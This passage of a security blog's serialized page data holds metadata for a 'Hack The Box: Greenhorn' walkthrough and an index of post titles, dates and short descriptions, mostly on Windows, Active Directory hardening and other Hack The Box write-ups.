var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .sMWUE, html code.shiki .sMWUE{--shiki-default:#83A598}html pre.shiki code .sBQf5, html code.shiki .sBQf5{--shiki-default:#FB4934}",{"title":23,"searchDepth":48,"depth":48,"links":7998},[],"hack-the-box","2024-07-24","Walkthrough for the \"Greenhorn\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-greenhorn\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-greenhorn",{"title":5,"description":8001},"posts\u002Fhack-the-box-greenhorn",[8010,8011],"writeup","linux","USh_ReRrmOR_DMCGSwDiQlMUJIlIU0k_hsENMhUh-hc",[8014,8027,8037,8048,8055,8061,8069,8077,8082,8089,8095,8104,8111,8118,8125,8131,8138,8144,8150,8158,8169,8175,8181,8187,8189,8195,8201,8207,8213,8219,8225,8231,8238,8244,8250,8258,8264,8271],{"path":8015,"title":8016,"description":8017,"date":8018,"category":8019,"alsoIn":8020,"series":6,"tags":8022,"readingTime":94},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[8021],"windows",[8021,8023,8024,8025,8026],"lsa","2fa","credential-provider","security",{"path":8028,"title":8029,"description":8030,"date":8031,"category":8021,"alsoIn":8032,"series":8033,"tags":8034,"readingTime":733},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[8019],"Doppio · 3-part series",[8021,8023,8035,8036,8024,8026],"ntlm","smb",{"path":8038,"title":8039,"description":8040,"date":8041,"category":8019,"alsoIn":6,"series":6,"tags":8042,"readingTime":67},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[8043,8044,8045,8046,8035,8047],"active-directory","windows-server","powershell","hardening","kerberos",{"path":8049,"title":8050,"description":8051,"date":8052,"category":8019,"alsoIn":6,"series":6,"tags":8053,"readingTime":74},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[8043,8035,8047,8054,8044],"auditing",{"path":8056,"title":8057,"description":8058,"date":8059,"category":8021,"alsoIn":6,"series":8033,"tags":8060,"readingTime":689},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[8021,8025,8023,8024,8026],{"path":8062,"title":8063,"description":8064,"date":8065,"category":8021,"alsoIn":8066,"series":8033,"tags":8067,"readingTime":1188},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[8019],[8021,8025,8024,8068,8026],"totp",{"path":8070,"title":8071,"description":8072,"date":8073,"category":8019,"alsoIn":6,"series":6,"tags":8074,"readingTime":48},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[8043,8044,8045,8075,8076],"tiering","laps",{"path":8078,"title":8079,"description":8080,"date":8073,"category":8043,"alsoIn":6,"series":6,"tags":8081,"readingTime":122},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":8083,"title":8084,"description":8085,"date":8086,"category":8011,"alsoIn":6,"series":6,"tags":8087,"readingTime":48},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30",[8088],"tor",{"path":8090,"title":8091,"description":8092,"date":8093,"category":8043,"alsoIn":6,"series":6,"tags":8094,"readingTime":31},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[8047],{"path":8096,"title":8097,"description":8098,"date":8099,"category":8100,"alsoIn":6,"series":6,"tags":8101,"readingTime":972},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[8100,8102,8103],"exchange-se","exchange-2019",{"path":8105,"title":8106,"description":8107,"date":8108,"category":8043,"alsoIn":6,"series":6,"tags":8109,"readingTime":94},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[8035,8043,8110],"authentication",{"path":8112,"title":8113,"description":8114,"date":8115,"category":8043,"alsoIn":6,"series":6,"tags":8116,"readingTime":58},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[8117],"adfs",{"path":8119,"title":8120,"description":8121,"date":8122,"category":8043,"alsoIn":6,"series":6,"tags":8123,"readingTime":48},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[8124],"pass-the-hash",{"path":8126,"title":8127,"description":8128,"date":8129,"category":8043,"alsoIn":6,"series":6,"tags":8130,"readingTime":74},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[8047],{"path":8132,"title":8133,"description":8134,"date":8135,"category":8021,"alsoIn":6,"series":6,"tags":8136,"readingTime":48},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[8137],"credential-guard",{"path":8139,"title":8140,"description":8141,"date":8142,"category":8021,"alsoIn":6,"series":6,"tags":8143,"readingTime":58},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[8137],{"path":8145,"title":8146,"description":8147,"date":8142,"category":8021,"alsoIn":6,"series":6,"tags":8148,"readingTime":48},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[8149],"osconfig",{"path":8151,"title":8152,"description":8153,"date":8154,"category":8021,"alsoIn":6,"series":6,"tags":8155,"readingTime":48},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[8156,8157],"iis","modsecurity",{"path":8159,"title":8160,"description":8161,"date":8162,"category":8043,"alsoIn":6,"series":6,"tags":8163,"readingTime":113},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[8164,8165,8166,8167,8168],"ad-cs","pki","vmware","vcsa","vcenter",{"path":8170,"title":8171,"description":8172,"date":8173,"category":8043,"alsoIn":6,"series":6,"tags":8174,"readingTime":744},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[8164,8165],{"path":8176,"title":8177,"description":8178,"date":8179,"category":7999,"alsoIn":6,"series":6,"tags":8180,"readingTime":113},"\u002Fposts\u002Fhack-the-box-administrator","Hack The Box: Administrator","Walkthrough for the \"Administrator\" Hack the Box Challenge","2024-11-19",[8010,8021,8043],{"path":8182,"title":8183,"description":8184,"date":8185,"category":8043,"alsoIn":6,"series":6,"tags":8186,"readingTime":38},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":8006,"title":5,"description":8001,"date":8000,"category":7999,"alsoIn":6,"series":6,"tags":8188,"readingTime":131},[8010,8011],{"path":8190,"title":8191,"description":8192,"date":8193,"category":7999,"alsoIn":6,"series":6,"tags":8194,"readingTime":94},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[8010,8011],{"path":8196,"title":8197,"description":8198,"date":8199,"category":7999,"alsoIn":6,"series":6,"tags":8200,"readingTime":31},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[8010,8021,8043],{"path":8202,"title":8203,"description":8204,"date":8205,"category":7999,"alsoIn":6,"series":6,"tags":8206,"readingTime":83},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[8010,8011],{"path":8208,"title":8209,"description":8210,"date":8211,"category":7999,"alsoIn":6,"series":6,"tags":8212,"readingTime":48},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[8010,8011],{"path":8214,"title":8215,"description":8216,"date":8217,"category":7999,"alsoIn":6,"series":6,"tags":8218,"readingTime":31},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[8010,8011],{"path":8220,"title":8221,"description":8222,"date":8223,"category":7999,"alsoIn":6,"series":6,"tags":8224,"readingTime":48},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[8010,8011],{"path":8226,"title":8227,"description":8228,"date":8229,"category":7999,"alsoIn":6,"series":6,"tags":8230,"readingTime":58},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[8010,8011],{"path":8232,"title":8233,"description":8234,"date":8235,"category":7999,"alsoIn":6,"series":6,"tags":8236,"readingTime":67},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[8010,8237],"freebsd",{"path":8239,"title":8240,"description":8241,"date":8242,"category":7999,"alsoIn":6,"series":6,"tags":8243,"readingTime":122},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[8010,8021],{"path":8245,"title":8246,"description":8247,"date":8248,"category":7999,"alsoIn":6,"series":6,"tags":8249,"readingTime":48},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[8010,8021],{"path":8251,"title":8252,"description":8253,"date":8254,"category":8011,"alsoIn":6,"series":6,"tags":8255,"readingTime":31},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[8256,8257],"ssh","monitoring",{"path":8259,"title":8260,"description":8261,"date":8262,"category":7999,"alsoIn":6,"series":6,"tags":8263,"readingTime":376},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[8010,8021,8043],{"path":8265,"title":8266,"description":8267,"date":8268,"category":8100,"alsoIn":6,"series":6,"tags":8269,"readingTime":31},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[8270,8045],"m365",{"path":8272,"title":8273,"description":8274,"date":8275,"category":8100,"alsoIn":6,"series":6,"tags":8276,"readingTime":31},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195052375]